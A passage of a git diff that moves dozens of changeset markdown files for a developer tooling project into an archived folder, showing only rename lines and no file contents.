b/.changeset/archived/crisp-seams-align.md similarity index 100% rename from .changeset/crisp-seams-align.md rename to .changeset/archived/crisp-seams-align.md diff --git a/.changeset/curious-bears-march.md b/.changeset/archived/curious-bears-march.md similarity index 100% rename from .changeset/curious-bears-march.md rename to .changeset/archived/curious-bears-march.md diff --git a/.changeset/curious-bears-zip.md b/.changeset/archived/curious-bears-zip.md similarity index 100% rename from .changeset/curious-bears-zip.md rename to .changeset/archived/curious-bears-zip.md diff --git a/.changeset/curious-cats-parade.md b/.changeset/archived/curious-cats-parade.md similarity index 100% rename from .changeset/curious-cats-parade.md rename to .changeset/archived/curious-cats-parade.md diff --git a/.changeset/curious-lynx-travel.md b/.changeset/archived/curious-lynx-travel.md similarity index 100% rename from .changeset/curious-lynx-travel.md rename to .changeset/archived/curious-lynx-travel.md diff --git a/.changeset/curious-tigers-jump.md b/.changeset/archived/curious-tigers-jump.md similarity index 100% rename from .changeset/curious-tigers-jump.md rename to .changeset/archived/curious-tigers-jump.md diff --git a/.changeset/daring-badgers-munch.md b/.changeset/archived/daring-badgers-munch.md similarity index 100% rename from .changeset/daring-badgers-munch.md rename to .changeset/archived/daring-badgers-munch.md diff --git a/.changeset/daring-yaks-zip.md b/.changeset/archived/daring-yaks-zip.md similarity index 100% rename from .changeset/daring-yaks-zip.md rename to .changeset/archived/daring-yaks-zip.md diff --git a/.changeset/disable-milestone-tags.md b/.changeset/archived/disable-milestone-tags.md similarity index 100% rename from .changeset/disable-milestone-tags.md rename to .changeset/archived/disable-milestone-tags.md diff --git a/.changeset/docs-1-40-0-audit.md b/.changeset/archived/docs-1-40-0-audit.md similarity index 100% rename from .changeset/docs-1-40-0-audit.md rename to .changeset/archived/docs-1-40-0-audit.md diff --git a/.changeset/dynamic-routing.md b/.changeset/archived/dynamic-routing.md similarity index 100% rename from .changeset/dynamic-routing.md rename to .changeset/archived/dynamic-routing.md diff --git a/.changeset/eager-badgers-purr.md b/.changeset/archived/eager-badgers-purr.md similarity index 100% rename from .changeset/eager-badgers-purr.md rename to .changeset/archived/eager-badgers-purr.md diff --git a/.changeset/eager-elks-purr.md b/.changeset/archived/eager-elks-purr.md similarity index 100% rename from .changeset/eager-elks-purr.md rename to .changeset/archived/eager-elks-purr.md diff --git a/.changeset/eager-elks-romp.md b/.changeset/archived/eager-elks-romp.md similarity index 100% rename from .changeset/eager-elks-romp.md rename to .changeset/archived/eager-elks-romp.md diff --git a/.changeset/eager-foxes-zip.md b/.changeset/archived/eager-foxes-zip.md similarity index 100% rename from .changeset/eager-foxes-zip.md rename to .changeset/archived/eager-foxes-zip.md diff --git a/.changeset/eager-hawks-rally.md b/.changeset/archived/eager-hawks-rally.md similarity index 100% rename from .changeset/eager-hawks-rally.md rename to .changeset/archived/eager-hawks-rally.md diff --git a/.changeset/eager-koalas-zip.md b/.changeset/archived/eager-koalas-zip.md similarity index 100% rename from .changeset/eager-koalas-zip.md rename to .changeset/archived/eager-koalas-zip.md diff --git a/.changeset/eager-lynx-chatter.md b/.changeset/archived/eager-lynx-chatter.md similarity index 100% rename from .changeset/eager-lynx-chatter.md rename to .changeset/archived/eager-lynx-chatter.md diff --git a/.changeset/eager-lynx-munch.md b/.changeset/archived/eager-lynx-munch.md similarity index 100% rename from .changeset/eager-lynx-munch.md rename to .changeset/archived/eager-lynx-munch.md diff --git a/.changeset/eager-pumas-dance.md b/.changeset/archived/eager-pumas-dance.md similarity index 100% rename from .changeset/eager-pumas-dance.md rename to .changeset/archived/eager-pumas-dance.md diff --git a/.changeset/eager-wolves-tumble.md b/.changeset/archived/eager-wolves-tumble.md similarity index 100% rename from .changeset/eager-wolves-tumble.md rename to .changeset/archived/eager-wolves-tumble.md diff --git a/.changeset/fair-hawks-play.md b/.changeset/archived/fair-hawks-play.md similarity index 100% rename from .changeset/fair-hawks-play.md rename to .changeset/archived/fair-hawks-play.md diff --git a/.changeset/feat-3408-skill-profiles.md b/.changeset/archived/feat-3408-skill-profiles.md similarity index 100% rename from .changeset/feat-3408-skill-profiles.md rename to .changeset/archived/feat-3408-skill-profiles.md diff --git a/.changeset/feat-3408-skill-surface.md b/.changeset/archived/feat-3408-skill-surface.md similarity index 100% rename from .changeset/feat-3408-skill-surface.md rename to .changeset/archived/feat-3408-skill-surface.md diff --git a/.changeset/feat-41-ship-tdd-audit.md b/.changeset/archived/feat-41-ship-tdd-audit.md similarity index 100% rename from .changeset/feat-41-ship-tdd-audit.md rename to .changeset/archived/feat-41-ship-tdd-audit.md diff --git a/.changeset/fierce-birds-wake.md b/.changeset/archived/fierce-birds-wake.md similarity index 100% rename from .changeset/fierce-birds-wake.md rename to .changeset/archived/fierce-birds-wake.md diff --git a/.changeset/fierce-finches-munch.md b/.changeset/archived/fierce-finches-munch.md similarity index 100% rename from .changeset/fierce-finches-munch.md rename to .changeset/archived/fierce-finches-munch.md diff --git a/.changeset/fierce-geese-march.md b/.changeset/archived/fierce-geese-march.md similarity index 100% rename from .changeset/fierce-geese-march.md rename to .changeset/archived/fierce-geese-march.md diff --git a/.changeset/fierce-rams-rest.md b/.changeset/archived/fierce-rams-rest.md similarity index 100% rename from .changeset/fierce-rams-rest.md rename to .changeset/archived/fierce-rams-rest.md diff --git a/.changeset/fix-3-milestone-complete-noise.md b/.changeset/archived/fix-3-milestone-complete-noise.md similarity index 100% rename from .changeset/fix-3-milestone-complete-noise.md rename to .changeset/archived/fix-3-milestone-complete-noise.md diff --git a/.changeset/fix-3054-doc-anchor-and-token-check.md b/.changeset/archived/fix-3054-doc-anchor-and-token-check.md similarity index 100% rename from .changeset/fix-3054-doc-anchor-and-token-check.md rename to .changeset/archived/fix-3054-doc-anchor-and-token-check.md diff --git a/.changeset/fix-3056-worktree-path-assertion.md b/.changeset/archived/fix-3056-worktree-path-assertion.md similarity index 100% rename from .changeset/fix-3056-worktree-path-assertion.md rename to .changeset/archived/fix-3056-worktree-path-assertion.md diff --git a/.changeset/fix-306-learnings-dedupe-index.md b/.changeset/archived/fix-306-learnings-dedupe-index.md similarity index 100% rename from .changeset/fix-306-learnings-dedupe-index.md rename to .changeset/archived/fix-306-learnings-dedupe-index.md diff --git a/.changeset/fix-3072-findings-probe-assertions.md b/.changeset/archived/fix-3072-findings-probe-assertions.md similarity index 100% rename from .changeset/fix-3072-findings-probe-assertions.md rename to .changeset/archived/fix-3072-findings-probe-assertions.md diff --git a/.changeset/fix-3087-planner-directive-language.md b/.changeset/archived/fix-3087-planner-directive-language.md similarity index 100% rename from .changeset/fix-3087-planner-directive-language.md rename to .changeset/archived/fix-3087-planner-directive-language.md diff --git a/.changeset/fix-3088-milestone-state-fallback-sections.md b/.changeset/archived/fix-3088-milestone-state-fallback-sections.md similarity index 100% rename from .changeset/fix-3088-milestone-state-fallback-sections.md rename to .changeset/archived/fix-3088-milestone-state-fallback-sections.md diff --git a/.changeset/fix-3094-progress-stale-assumptions.md b/.changeset/archived/fix-3094-progress-stale-assumptions.md similarity index 100% rename from .changeset/fix-3094-progress-stale-assumptions.md rename to .changeset/archived/fix-3094-progress-stale-assumptions.md diff --git a/.changeset/fix-3096-ai-integration-parallel-race.md b/.changeset/archived/fix-3096-ai-integration-parallel-race.md similarity index 100% rename from .changeset/fix-3096-ai-integration-parallel-race.md rename to .changeset/archived/fix-3096-ai-integration-parallel-race.md diff --git a/.changeset/fix-3097-3099-executor-worktree-path.md b/.changeset/archived/fix-3097-3099-executor-worktree-path.md similarity index 100% rename from .changeset/fix-3097-3099-executor-worktree-path.md rename to .changeset/archived/fix-3097-3099-executor-worktree-path.md diff --git a/.changeset/fix-3120-secure-phase-empty-register.md b/.changeset/archived/fix-3120-secure-phase-empty-register.md similarity index 100% rename from .changeset/fix-3120-secure-phase-empty-register.md rename to .changeset/archived/fix-3120-secure-phase-empty-register.md diff --git a/.changeset/fix-3121-gsd-tools-commands-verb.md b/.changeset/archived/fix-3121-gsd-tools-commands-verb.md similarity index 100% rename from .changeset/fix-3121-gsd-tools-commands-verb.md rename to .changeset/archived/fix-3121-gsd-tools-commands-verb.md diff --git a/.changeset/fix-3126-global-skills-base-runtime.md b/.changeset/archived/fix-3126-global-skills-base-runtime.md similarity index 100% rename from .changeset/fix-3126-global-skills-base-runtime.md rename to .changeset/archived/fix-3126-global-skills-base-runtime.md diff --git a/.changeset/fix-3127-state-begin-phase-idempotent.md b/.changeset/archived/fix-3127-state-begin-phase-idempotent.md similarity index 100% rename from .changeset/fix-3127-state-begin-phase-idempotent.md rename to .changeset/archived/fix-3127-state-begin-phase-idempotent.md diff --git a/.changeset/fix-3128-roadmap-plan-count-slug.md b/.changeset/archived/fix-3128-roadmap-plan-count-slug.md similarity index 100% rename from .changeset/fix-3128-roadmap-plan-count-slug.md rename to .changeset/archived/fix-3128-roadmap-plan-count-slug.md diff --git a/.changeset/fix-3129-validate-commit-bypass.md b/.changeset/archived/fix-3129-validate-commit-bypass.md similarity index 100% rename from .changeset/fix-3129-validate-commit-bypass.md rename to .changeset/archived/fix-3129-validate-commit-bypass.md diff --git a/.changeset/fix-3130-update-npx-robust.md b/.changeset/archived/fix-3130-update-npx-robust.md similarity index 100% rename from .changeset/fix-3130-update-npx-robust.md rename to .changeset/archived/fix-3130-update-npx-robust.md diff --git a/.changeset/fix-3135-capture-backlog-workflow.md b/.changeset/archived/fix-3135-capture-backlog-workflow.md similarity index 100% rename from .changeset/fix-3135-capture-backlog-workflow.md rename to .changeset/archived/fix-3135-capture-backlog-workflow.md diff --git a/.changeset/fix-3150-stats-json-decimal-gap-regression.md b/.changeset/archived/fix-3150-stats-json-decimal-gap-regression.md similarity index 100% rename from .changeset/fix-3150-stats-json-decimal-gap-regression.md rename to .changeset/archived/fix-3150-stats-json-decimal-gap-regression.md diff --git a/.changeset/fix-3153-statusline-percent-next-phases.md b/.changeset/archived/fix-3153-statusline-percent-next-phases.md similarity index 100% rename from .changeset/fix-3153-statusline-percent-next-phases.md rename to .changeset/archived/fix-3153-statusline-percent-next-phases.md diff --git a/.changeset/fix-3163-codex-agents-md.md b/.changeset/archived/fix-3163-codex-agents-md.md similarity index 100% rename from .changeset/fix-3163-codex-agents-md.md rename to .changeset/archived/fix-3163-codex-agents-md.md diff --git a/.changeset/fix-3196-workstream-milestone-op.md b/.changeset/archived/fix-3196-workstream-milestone-op.md similarity index 100% rename from .changeset/fix-3196-workstream-milestone-op.md rename to .changeset/archived/fix-3196-workstream-milestone-op.md diff --git a/.changeset/fix-3197-gsd-tools-config-whitelist.md b/.changeset/archived/fix-3197-gsd-tools-config-whitelist.md similarity index 100% rename from .changeset/fix-3197-gsd-tools-config-whitelist.md rename to .changeset/archived/fix-3197-gsd-tools-config-whitelist.md diff --git a/.changeset/fix-3229-model-catalog-source-of-truth.md b/.changeset/archived/fix-3229-model-catalog-source-of-truth.md similarity index 100% rename from .changeset/fix-3229-model-catalog-source-of-truth.md rename to .changeset/archived/fix-3229-model-catalog-source-of-truth.md diff --git a/.changeset/fix-3321-verifier-probes.md b/.changeset/archived/fix-3321-verifier-probes.md similarity index 100% rename from .changeset/fix-3321-verifier-probes.md rename to .changeset/archived/fix-3321-verifier-probes.md diff --git a/.changeset/fix-3339-human-needed-verification-pending.md b/.changeset/archived/fix-3339-human-needed-verification-pending.md similarity index 100% rename from .changeset/fix-3339-human-needed-verification-pending.md rename to .changeset/archived/fix-3339-human-needed-verification-pending.md diff --git a/.changeset/fix-3344-gemini-agent-tool.md b/.changeset/archived/fix-3344-gemini-agent-tool.md similarity index 100% rename from .changeset/fix-3344-gemini-agent-tool.md rename to .changeset/archived/fix-3344-gemini-agent-tool.md diff --git a/.changeset/fix-3355-phase-remove-roadmap-renumber.md b/.changeset/archived/fix-3355-phase-remove-roadmap-renumber.md similarity index 100% rename from .changeset/fix-3355-phase-remove-roadmap-renumber.md rename to .changeset/archived/fix-3355-phase-remove-roadmap-renumber.md diff --git a/.changeset/fix-3357-codex-legacy-hooks-json.md b/.changeset/archived/fix-3357-codex-legacy-hooks-json.md similarity index 100% rename from .changeset/fix-3357-codex-legacy-hooks-json.md rename to .changeset/archived/fix-3357-codex-legacy-hooks-json.md diff --git a/.changeset/fix-3358-sdk-init-progress-models.md b/.changeset/archived/fix-3358-sdk-init-progress-models.md similarity index 100% rename from .changeset/fix-3358-sdk-init-progress-models.md rename to .changeset/archived/fix-3358-sdk-init-progress-models.md diff --git a/.changeset/fix-3359-stale-sdk-path-version.md b/.changeset/archived/fix-3359-stale-sdk-path-version.md similarity index 100% rename from .changeset/fix-3359-stale-sdk-path-version.md rename to .changeset/archived/fix-3359-stale-sdk-path-version.md diff --git a/.changeset/fix-3360-codex-execute-worktrees.md b/.changeset/archived/fix-3360-codex-execute-worktrees.md similarity index 100% rename from .changeset/fix-3360-codex-execute-worktrees.md rename to .changeset/archived/fix-3360-codex-execute-worktrees.md diff --git a/.changeset/fix-3362-windows-powershell-gemini.md b/.changeset/archived/fix-3362-windows-powershell-gemini.md similarity index 100% rename from .changeset/fix-3362-windows-powershell-gemini.md rename to .changeset/archived/fix-3362-windows-powershell-gemini.md diff --git a/.changeset/fix-3381-init-verify-work-ws.md b/.changeset/archived/fix-3381-init-verify-work-ws.md similarity index 100% rename from .changeset/fix-3381-init-verify-work-ws.md rename to .changeset/archived/fix-3381-init-verify-work-ws.md diff --git a/.changeset/fix-3384-worktree-merge-safety.md b/.changeset/archived/fix-3384-worktree-merge-safety.md similarity index 100% rename from .changeset/fix-3384-worktree-merge-safety.md rename to .changeset/archived/fix-3384-worktree-merge-safety.md diff --git a/.changeset/fix-3406-detect-stale-sdk-shadow.md b/.changeset/archived/fix-3406-detect-stale-sdk-shadow.md similarity index 100% rename from .changeset/fix-3406-detect-stale-sdk-shadow.md rename to .changeset/archived/fix-3406-detect-stale-sdk-shadow.md diff --git a/.changeset/fix-3509-path-spaces-test-suite.md b/.changeset/archived/fix-3509-path-spaces-test-suite.md similarity index 100% rename from .changeset/fix-3509-path-spaces-test-suite.md rename to .changeset/archived/fix-3509-path-spaces-test-suite.md diff --git a/.changeset/fix-3579-graphify-hook-publish.md b/.changeset/archived/fix-3579-graphify-hook-publish.md similarity index 100% rename from .changeset/fix-3579-graphify-hook-publish.md rename to .changeset/archived/fix-3579-graphify-hook-publish.md diff --git a/.changeset/fix-3588-npm-audit-clean.md b/.changeset/archived/fix-3588-npm-audit-clean.md similarity index 100% rename from .changeset/fix-3588-npm-audit-clean.md rename to .changeset/archived/fix-3588-npm-audit-clean.md diff --git a/.changeset/fix-3631-sdk-raw-flag-routers.md b/.changeset/archived/fix-3631-sdk-raw-flag-routers.md similarity index 100% rename from .changeset/fix-3631-sdk-raw-flag-routers.md rename to .changeset/archived/fix-3631-sdk-raw-flag-routers.md diff --git a/.changeset/fix-3632-lint-handsync-pair-fanout.md b/.changeset/archived/fix-3632-lint-handsync-pair-fanout.md similarity index 100% rename from .changeset/fix-3632-lint-handsync-pair-fanout.md rename to .changeset/archived/fix-3632-lint-handsync-pair-fanout.md diff --git a/.changeset/fix-3677-agent-colon-namespace-leak.md b/.changeset/archived/fix-3677-agent-colon-namespace-leak.md similarity index 100% rename from .changeset/fix-3677-agent-colon-namespace-leak.md rename to .changeset/archived/fix-3677-agent-colon-namespace-leak.md diff --git a/.changeset/fix-3678-commit-docs-respect.md b/.changeset/archived/fix-3678-commit-docs-respect.md similarity index 100% rename from .changeset/fix-3678-commit-docs-respect.md rename to .changeset/archived/fix-3678-commit-docs-respect.md diff --git a/.changeset/fix-canary-2-release-gates.md b/.changeset/archived/fix-canary-2-release-gates.md similarity index 100% rename from .changeset/fix-canary-2-release-gates.md rename to .changeset/archived/fix-canary-2-release-gates.md diff --git a/.changeset/fix-next-gate-regressions.md b/.changeset/archived/fix-next-gate-regressions.md similarity index 100% rename from .changeset/fix-next-gate-regressions.md rename to .changeset/archived/fix-next-gate-regressions.md diff --git a/.changeset/forensics-regex-escape.md b/.changeset/archived/forensics-regex-escape.md similarity index 100% rename from .changeset/forensics-regex-escape.md rename to .changeset/archived/forensics-regex-escape.md diff --git a/.changeset/gallant-badgers-bark.md b/.changeset/archived/gallant-badgers-bark.md similarity index 100% rename from .changeset/gallant-badgers-bark.md rename to .changeset/archived/gallant-badgers-bark.md diff --git a/.changeset/gallant-ravens-travel.md b/.changeset/archived/gallant-ravens-travel.md similarity index 100% rename from .changeset/gallant-ravens-travel.md rename to .changeset/archived/gallant-ravens-travel.md diff --git a/.changeset/gemini-skip-local-when-global.md b/.changeset/archived/gemini-skip-local-when-global.md similarity index 100% rename from .changeset/gemini-skip-local-when-global.md rename to .changeset/archived/gemini-skip-local-when-global.md diff --git a/.changeset/gentle-bears-wave.md b/.changeset/archived/gentle-bears-wave.md similarity index 100% rename from .changeset/gentle-bears-wave.md rename to .changeset/archived/gentle-bears-wave.md diff --git a/.changeset/gentle-birds-caper.md b/.changeset/archived/gentle-birds-caper.md similarity index 100% rename from .changeset/gentle-birds-caper.md rename to .changeset/archived/gentle-birds-caper.md diff --git a/.changeset/gentle-goats-fly.md b/.changeset/archived/gentle-goats-fly.md similarity index 100% rename from .changeset/gentle-goats-fly.md rename to .changeset/archived/gentle-goats-fly.md diff --git a/.changeset/gentle-jays-rest.md b/.changeset/archived/gentle-jays-rest.md similarity index 100% rename from .changeset/gentle-jays-rest.md rename to .changeset/archived/gentle-jays-rest.md diff --git a/.changeset/gentle-jays-zip.md b/.changeset/archived/gentle-jays-zip.md similarity index 100% rename from .changeset/gentle-jays-zip.md rename to .changeset/archived/gentle-jays-zip.md diff --git a/.changeset/gentle-tigers-roar.md b/.changeset/archived/gentle-tigers-roar.md similarity index 100% rename from .changeset/gentle-tigers-roar.md rename to .changeset/archived/gentle-tigers-roar.md diff --git a/.changeset/graceful-geese-tumble.md b/.changeset/archived/graceful-geese-tumble.md similarity index 100% rename from .changeset/graceful-geese-tumble.md rename to .changeset/archived/graceful-geese-tumble.md diff --git a/.changeset/graceful-jays-hop.md b/.changeset/archived/graceful-jays-hop.md similarity index 100% rename from .changeset/graceful-jays-hop.md rename to .changeset/archived/graceful-jays-hop.md diff --git a/.changeset/graceful-mice-wave.md b/.changeset/archived/graceful-mice-wave.md similarity index 100% rename from .changeset/graceful-mice-wave.md rename to .changeset/archived/graceful-mice-wave.md diff --git a/.changeset/graceful-moles-wave.md b/.changeset/archived/graceful-moles-wave.md similarity index 100% rename from .changeset/graceful-moles-wave.md rename to .changeset/archived/graceful-moles-wave.md diff --git a/.changeset/graceful-otters-wave.md b/.changeset/archived/graceful-otters-wave.md similarity index 100% rename from .changeset/graceful-otters-wave.md rename to .changeset/archived/graceful-otters-wave.md diff --git a/.changeset/graceful-quails-hop.md b/.changeset/archived/graceful-quails-hop.md similarity index 100% rename from .changeset/graceful-quails-hop.md rename to .changeset/archived/graceful-quails-hop.md diff --git a/.changeset/graceful-sloths-wake.md b/.changeset/archived/graceful-sloths-wake.md similarity index 100% rename from .changeset/graceful-sloths-wake.md rename to .changeset/archived/graceful-sloths-wake.md diff --git a/.changeset/graceful-tigers-fly.md b/.changeset/archived/graceful-tigers-fly.md similarity index 100% rename from .changeset/graceful-tigers-fly.md rename to .changeset/archived/graceful-tigers-fly.md diff --git a/.changeset/happy-dogs-chatter.md b/.changeset/archived/happy-dogs-chatter.md similarity index 100% rename from .changeset/happy-dogs-chatter.md rename to .changeset/archived/happy-dogs-chatter.md diff --git a/.changeset/happy-herons-snooze.md b/.changeset/archived/happy-herons-snooze.md similarity index 100% rename from .changeset/happy-herons-snooze.md rename to .changeset/archived/happy-herons-snooze.md diff --git a/.changeset/happy-jays-greet.md b/.changeset/archived/happy-jays-greet.md similarity index 100% rename from .changeset/happy-jays-greet.md rename to .changeset/archived/happy-jays-greet.md diff --git a/.changeset/happy-jays-wake.md b/.changeset/archived/happy-jays-wake.md similarity index 100% rename from .changeset/happy-jays-wake.md rename to .changeset/archived/happy-jays-wake.md diff --git a/.changeset/happy-pandas-glide.md b/.changeset/archived/happy-pandas-glide.md similarity index 100% rename from .changeset/happy-pandas-glide.md rename to .changeset/archived/happy-pandas-glide.md diff --git a/.changeset/happy-tigers-travel.md b/.changeset/archived/happy-tigers-travel.md similarity index 100% rename from .changeset/happy-tigers-travel.md rename to .changeset/archived/happy-tigers-travel.md diff --git a/.changeset/help-passthrough.md b/.changeset/archived/help-passthrough.md similarity index 100% rename from .changeset/help-passthrough.md rename to .changeset/archived/help-passthrough.md diff --git a/.changeset/humble-geese-wave.md b/.changeset/archived/humble-geese-wave.md similarity index 100% rename from .changeset/humble-geese-wave.md rename to .changeset/archived/humble-geese-wave.md diff --git a/.changeset/humble-goats-swim.md b/.changeset/archived/humble-goats-swim.md similarity index 100% rename from .changeset/humble-goats-swim.md rename to .changeset/archived/humble-goats-swim.md diff --git a/.changeset/humble-pandas-wave.md b/.changeset/archived/humble-pandas-wave.md similarity index 100% rename from .changeset/humble-pandas-wave.md rename to .changeset/archived/humble-pandas-wave.md diff --git a/.changeset/humble-tunas-leap.md b/.changeset/archived/humble-tunas-leap.md similarity index 100% rename from .changeset/humble-tunas-leap.md rename to .changeset/archived/humble-tunas-leap.md diff --git a/.changeset/humble-tunas-zip.md b/.changeset/archived/humble-tunas-zip.md similarity index 100% rename from .changeset/humble-tunas-zip.md rename to .changeset/archived/humble-tunas-zip.md diff --git a/.changeset/install-shell-path-probe.md b/.changeset/archived/install-shell-path-probe.md similarity index 100% rename from .changeset/install-shell-path-probe.md rename to .changeset/archived/install-shell-path-probe.md diff --git a/.changeset/issue-driven-orchestration.md b/.changeset/archived/issue-driven-orchestration.md similarity index 100% rename from .changeset/issue-driven-orchestration.md rename to .changeset/archived/issue-driven-orchestration.md diff --git a/.changeset/jolly-cranes-chatter.md b/.changeset/archived/jolly-cranes-chatter.md similarity index 100% rename from .changeset/jolly-cranes-chatter.md rename to .changeset/archived/jolly-cranes-chatter.md diff --git a/.changeset/jolly-hawks-forage.md b/.changeset/archived/jolly-hawks-forage.md similarity index 100% rename from .changeset/jolly-hawks-forage.md rename to .changeset/archived/jolly-hawks-forage.md diff --git a/.changeset/jolly-jaguars-leap.md b/.changeset/archived/jolly-jaguars-leap.md similarity index 100% rename from .changeset/jolly-jaguars-leap.md rename to .changeset/archived/jolly-jaguars-leap.md diff --git a/.changeset/jolly-moles-climb.md b/.changeset/archived/jolly-moles-climb.md similarity index 100% rename from .changeset/jolly-moles-climb.md rename to .changeset/archived/jolly-moles-climb.md diff --git a/.changeset/jolly-newts-roam.md b/.changeset/archived/jolly-newts-roam.md similarity index 100% rename from .changeset/jolly-newts-roam.md rename to .changeset/archived/jolly-newts-roam.md diff --git a/.changeset/jolly-pandas-parade.md b/.changeset/archived/jolly-pandas-parade.md similarity index 100% rename from .changeset/jolly-pandas-parade.md rename to .changeset/archived/jolly-pandas-parade.md diff --git a/.changeset/jolly-pumas-dance.md b/.changeset/archived/jolly-pumas-dance.md similarity index 100% rename from .changeset/jolly-pumas-dance.md rename to .changeset/archived/jolly-pumas-dance.md diff --git a/.changeset/jolly-quails-caper.md b/.changeset/archived/jolly-quails-caper.md similarity index 100% rename from .changeset/jolly-quails-caper.md rename to .changeset/archived/jolly-quails-caper.md diff --git a/.changeset/jolly-wolves-hop.md b/.changeset/archived/jolly-wolves-hop.md similarity index 100% rename from .changeset/jolly-wolves-hop.md rename to .changeset/archived/jolly-wolves-hop.md diff --git a/.changeset/kind-foxes-click.md b/.changeset/archived/kind-foxes-click.md similarity index 100% rename from .changeset/kind-foxes-click.md rename to .changeset/archived/kind-foxes-click.md diff --git a/.changeset/kind-moles-dance.md b/.changeset/archived/kind-moles-dance.md similarity index 100% rename from .changeset/kind-moles-dance.md rename to .changeset/archived/kind-moles-dance.md diff --git a/.changeset/kind-tunas-gather.md b/.changeset/archived/kind-tunas-gather.md similarity index 100% rename from .changeset/kind-tunas-gather.md rename to .changeset/archived/kind-tunas-gather.md diff --git a/.changeset/lively-bears-sprint.md b/.changeset/archived/lively-bears-sprint.md similarity index 100% rename from .changeset/lively-bears-sprint.md rename to .changeset/archived/lively-bears-sprint.md diff --git a/.changeset/lively-foxes-roam.md b/.changeset/archived/lively-foxes-roam.md similarity index 100% rename from .changeset/lively-foxes-roam.md rename to .changeset/archived/lively-foxes-roam.md diff --git a/.changeset/lively-goats-run.md b/.changeset/archived/lively-goats-run.md similarity index 100% rename from .changeset/lively-goats-run.md rename to .changeset/archived/lively-goats-run.md diff --git a/.changeset/lively-lemurs-glide.md b/.changeset/archived/lively-lemurs-glide.md similarity index 100% rename from .changeset/lively-lemurs-glide.md rename to .changeset/archived/lively-lemurs-glide.md diff --git a/.changeset/lively-moles-caper.md b/.changeset/archived/lively-moles-caper.md similarity index 100% rename from .changeset/lively-moles-caper.md rename to .changeset/archived/lively-moles-caper.md diff --git a/.changeset/lively-newts-romp.md b/.changeset/archived/lively-newts-romp.md similarity index 100% rename from .changeset/lively-newts-romp.md rename to .changeset/archived/lively-newts-romp.md diff --git a/.changeset/lively-otters-gather.md b/.changeset/archived/lively-otters-gather.md similarity index 100% rename from .changeset/lively-otters-gather.md rename to .changeset/archived/lively-otters-gather.md diff --git a/.changeset/lucid-docs-rebrand.md b/.changeset/archived/lucid-docs-rebrand.md similarity index 100% rename from .changeset/lucid-docs-rebrand.md rename to .changeset/archived/lucid-docs-rebrand.md diff --git a/.changeset/lucky-birds-bark.md b/.changeset/archived/lucky-birds-bark.md similarity index 100% rename from .changeset/lucky-birds-bark.md rename to .changeset/archived/lucky-birds-bark.md diff --git a/.changeset/lucky-lynx-wave.md b/.changeset/archived/lucky-lynx-wave.md similarity index 100% rename from .changeset/lucky-lynx-wave.md rename to .changeset/archived/lucky-lynx-wave.md diff --git a/.changeset/mcp-token-budget-docs.md b/.changeset/archived/mcp-token-budget-docs.md similarity index 100% rename from .changeset/mcp-token-budget-docs.md rename to .changeset/archived/mcp-token-budget-docs.md diff --git a/.changeset/mellow-hawks-greet.md b/.changeset/archived/mellow-hawks-greet.md similarity index 100% rename from .changeset/mellow-hawks-greet.md rename to .changeset/archived/mellow-hawks-greet.md diff --git a/.changeset/mellow-herons-greet.md b/.changeset/archived/mellow-herons-greet.md similarity index 100% rename from .changeset/mellow-herons-greet.md rename to .changeset/archived/mellow-herons-greet.md diff --git a/.changeset/mellow-lemurs-click.md b/.changeset/archived/mellow-lemurs-click.md similarity index 100% rename from .changeset/mellow-lemurs-click.md rename to .changeset/archived/mellow-lemurs-click.md diff --git a/.changeset/mellow-lynx-forage.md b/.changeset/archived/mellow-lynx-forage.md similarity index 100% rename from .changeset/mellow-lynx-forage.md rename to .changeset/archived/mellow-lynx-forage.md diff --git a/.changeset/mellow-mice-forage.md b/.changeset/archived/mellow-mice-forage.md similarity index 100% rename from .changeset/mellow-mice-forage.md rename to .changeset/archived/mellow-mice-forage.md diff --git a/.changeset/mellow-tigers-gather.md b/.changeset/archived/mellow-tigers-gather.md similarity index 100% rename from .changeset/mellow-tigers-gather.md rename to .changeset/archived/mellow-tigers-gather.md diff --git a/.changeset/merry-foxes-climb.md b/.changeset/archived/merry-foxes-climb.md similarity index 100% rename from .changeset/merry-foxes-climb.md rename to .changeset/archived/merry-foxes-climb.md diff --git a/.changeset/merry-lynx-sing.md b/.changeset/archived/merry-lynx-sing.md similarity index 100% rename from .changeset/merry-lynx-sing.md rename to .changeset/archived/merry-lynx-sing.md diff --git a/.changeset/merry-lynx-wander.md b/.changeset/archived/merry-lynx-wander.md similarity index 100% rename from .changeset/merry-lynx-wander.md rename to .changeset/archived/merry-lynx-wander.md diff --git a/.changeset/merry-moles-chatter.md b/.changeset/archived/merry-moles-chatter.md similarity index 100% rename from .changeset/merry-moles-chatter.md rename to .changeset/archived/merry-moles-chatter.md diff --git a/.changeset/merry-quails-roam.md b/.changeset/archived/merry-quails-roam.md similarity index 100% rename from .changeset/merry-quails-roam.md rename to .changeset/archived/merry-quails-roam.md diff --git a/.changeset/migration-batch-10-ts.md b/.changeset/archived/migration-batch-10-ts.md similarity index 100% rename from .changeset/migration-batch-10-ts.md rename to .changeset/archived/migration-batch-10-ts.md diff --git a/.changeset/migration-batch-11-ts.md b/.changeset/archived/migration-batch-11-ts.md similarity index 100% rename from .changeset/migration-batch-11-ts.md rename to .changeset/archived/migration-batch-11-ts.md diff --git a/.changeset/migration-batch-12-ts.md b/.changeset/archived/migration-batch-12-ts.md similarity index 100% rename from .changeset/migration-batch-12-ts.md rename to .changeset/archived/migration-batch-12-ts.md diff --git a/.changeset/migration-batch-13-ts.md b/.changeset/archived/migration-batch-13-ts.md similarity index 100% rename from .changeset/migration-batch-13-ts.md rename to .changeset/archived/migration-batch-13-ts.md diff --git a/.changeset/migration-batch-14-ts.md b/.changeset/archived/migration-batch-14-ts.md similarity index 100% rename from .changeset/migration-batch-14-ts.md rename to .changeset/archived/migration-batch-14-ts.md diff --git a/.changeset/migration-batch-15-ts.md b/.changeset/archived/migration-batch-15-ts.md similarity index 100% rename from .changeset/migration-batch-15-ts.md rename to .changeset/archived/migration-batch-15-ts.md diff --git a/.changeset/migration-batch-2-ts.md b/.changeset/archived/migration-batch-2-ts.md similarity index 100% rename from .changeset/migration-batch-2-ts.md rename to .changeset/archived/migration-batch-2-ts.md diff --git a/.changeset/migration-batch-3-ts.md b/.changeset/archived/migration-batch-3-ts.md similarity index 100% rename from .changeset/migration-batch-3-ts.md rename to .changeset/archived/migration-batch-3-ts.md diff --git a/.changeset/migration-batch-4-ts.md b/.changeset/archived/migration-batch-4-ts.md similarity index 100% rename from .changeset/migration-batch-4-ts.md rename to .changeset/archived/migration-batch-4-ts.md diff --git a/.changeset/migration-batch-5-ts.md b/.changeset/archived/migration-batch-5-ts.md similarity index 100% rename from .changeset/migration-batch-5-ts.md rename to 